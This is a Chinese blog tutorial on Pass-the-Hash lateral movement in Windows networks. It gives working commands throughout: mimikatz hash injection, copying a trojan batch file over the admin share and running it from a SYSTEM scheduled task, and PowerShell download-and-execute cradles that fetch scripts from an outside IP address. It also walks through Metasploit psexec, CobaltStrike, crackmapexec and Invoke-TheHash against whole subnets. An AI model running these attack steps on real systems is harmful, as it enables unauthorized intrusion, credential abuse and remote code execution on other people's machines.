美文网首页
横向渗透之Pass The Hash

横向渗透之Pass The Hash

作者: CSeroad | 来源:发表于2020-02-27 11:06 被阅读0次

    前言

    在上一章总结了windows抓取hash的一些方式。在实际场景中,我们需要更快的扩大战果,获取更多控制权限,以及定位域环境。

    横向渗透

    横向渗透:就是在得到一台主机的控制权限后,将该主机作为突破口、跳板,利用既有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个内网、拥有最高权限。

    PTH原理

    Pass The Hash 哈希传递简称PTH,可以在不需要明文密码的情况下,利用LM HASH和NTLM HASH直接远程登录。攻击者不需要花费时间来对hash进行爆破,在内网渗透里非常经典。
    常常适用于域/工作组环境。

    工作组环境

    靶机:windows server 2008
    IP:10.211.55.19
    domain:workgroup
    user:administrator
    pass:cseroad@2008
    NTLM-Hash:82c58d8cec50de01fd109613369c158e

    psexec 类工具

    原理

    psexec类工具大同小异,大部分工具都是通过psexec来执行的。原理是:通过ipc$连接,将psexesvc.exe释放到目标机器,再通过服务管理SCManager远程创建psexecsvc服务,并启动服务。然后通过psexec服务运行命令,运行结束后删除该服务。
    如:Metasploit psexec,Impacket psexec,pth-winexe,Empire Invoke-Psexec
    缺点:容易被杀软检测到
    优点:可以直接获取system权限

    工具

    因为市面工具比较多,只kali就自带有很多。所以这里以好用、批量为准则选择了几款工具。

    mimikatz

    mimikatz中pth功能的原理:
    windows会在lsass中缓存hash值,并使用它们来ntlm认证,我们在lsass中添加包含目标账号hash的合法数据结构,就可以使用类似dir这些命令进行认证。
    正常访问server 2008 的盘符是需要用户名密码的。
    在windows7上经过pth之后就不需要密码就可以远程连接。
    将获取的hash添加进lsass中。
    在windows 7 上执行以下命令:

    privilege::debug
    sekurlsa::pth /user:administrator /domain:workgroup /ntlm:82c58d8cec50de01fd109613369c158e
    
    image.png

    执行后会弹出cmd。在cmd下执行net use \\10.211.55.19\c$命令就可以远程连接。

    image.png

    扩展:
    假如我们继续探测到10.211.55.8使用的是同一个hash值。我们尝试使用远程共享c盘和schtasks 定时计划任务执行获取一个session。

    dir \\10.211.55.8\c$   查看目标机器的c盘
    copy powershell.bat  \\10.211.55.8\c$   将powershell.bat木马复制到目标机器上
    schtasks /create /s 10.211.55.8 /tn test /sc onstart /tr c:\powershell.bat /ru system /f   
    创建test计划任务,开机时启动c盘下powershell.bat
    

    powershell.bat为

    powershell.exe  -c "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/a.ps1')"
    
    image.png

    当重启10.211.55.8机器后,metasploit可得到session

    image.png
    metasploit psexec

    笔者经常使用时的是这三个模块

    auxiliary/admin/smb/psexec_command       在目标机器上执行系统命令                   
    exploit/windows/smb/psexec               用psexec执行系统命令         
    exploit/windows/smb/psexec_psh           使用powershell作为payload
    

    以exploit/windows/smb/psexec模块为例

    use exploit/windows/smb/psexec
    set rhosts 10.211.55.1/24
    set smbuser administrator
    set smbpass AAD3B435B51404EEAAD3B435B51404EE:82c58d8cec50de01fd109613369c158e
    set smbdomain workgroup
    run
    
    image.png

    值得一说的是smbpass配置项支持明文密码也支持hash(LM-Hash:NTLM-Hash)

    image.png

    成功返回system权限。

    CobalStrike

    CobalStrike 同样有psexec选项。
    在得到一个beacon的基础上,先在该网段portscan,探测存活主机后。
    选择View-->Target-->Login-->psexec,可批量选择主机pth。

    image.png image.png

    选择pth的用户名和hash值。

    image.png

    从执行的命令看得出依然利用的mimikatz。执行成功后返回system权限。

    crackmapexec

    该工具可以对C段主机批量pth。
    项目在github
    在kali上直接apt就可以安装

    apt-get install crackmapexec
    

    对工作组批量pth命令如下

    crackmapexec smb  IP -u user -H hash -d workdroup -x cmd
    IP 可以是单个IP也可以是IP段
    -u 指定用户名
    -H 指定hash
    -d 指定域
    -x 执行系统命令
    
    image.png

    测试的时候发现某些命令执行后没有回显。
    更多资料参考:
    CrackMapExec:域环境渗透中的瑞士军刀
    红队测试工具-CrackMapExec-远程执行Windows命令

    wmi 攻击

    wmi内置在windows操作系统,用于管理本地或远程的 Windows 系统。wmiexec是对windows自带的wmic做了一些强化。攻击者使用wmiexec来进行攻击时,不会记录日志,不会写入到磁盘,具有极高的隐蔽性。

    1. python 版本
      需要先下载impacket工具包
    git clone https://github.com/CoreSecurity/impacket.git
    cd impacket/
    pip install .
    

    安装成功后,切换到examples目录下
    运行命令为

    python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@10.211.55.8 "ipconfig"
    
    image.png
    1. exe 版本
      命令相似:
    wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@10.211.55.8 "ipconfig"
    
    image.png
    1. powershell 版本
      使用命令为:
    powershell -exec bypass
    IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.129/Invoke-TheHash/Invoke-WMIExec.ps1');
    IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.129/Invoke-TheHash/Invoke-TheHash.ps1');
    Invoke-TheHash -Type WMIExec -Target 10.211.55.1/24 -Domain workgroup -Username administrator -Hash 82c58d8cec50de01fd109613369c158e
    

    先加载Invoke-WMIExec.ps1脚本,再加载Invoke-TheHash.ps1脚本,因为Invoke-TheHash 里要用到 Invoke-WMIExec方法

    image.png

    如果要执行系统命令。可以加-Command 参数

    Invoke-TheHash -Type WMIExec -Target 10.211.55.8  -Domain workgroup -Username administrator -Hash 82c58d8cec50de01fd109613369c158e -Command "calc.exe" -verbose
    
    image.png

    执行后该进程会在后台运行,可以结合定时任务执行尝试反弹shell。

    kb2871997 补丁

    在测试中发现,在打了kb2871997 这个补丁后,常规的Pass The Hash已经无法成功,但默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。
    以上所有操作均针对的SID 500。

    参考资料

    内网渗透之PTH&PTT&PTK
    横向移动
    丢掉PSEXEC来横向渗透

    相关文章

      网友评论

          本文标题:横向渗透之Pass The Hash

          本文链接:https://www.haomeiwen.com/subject/wsbgfhtx.html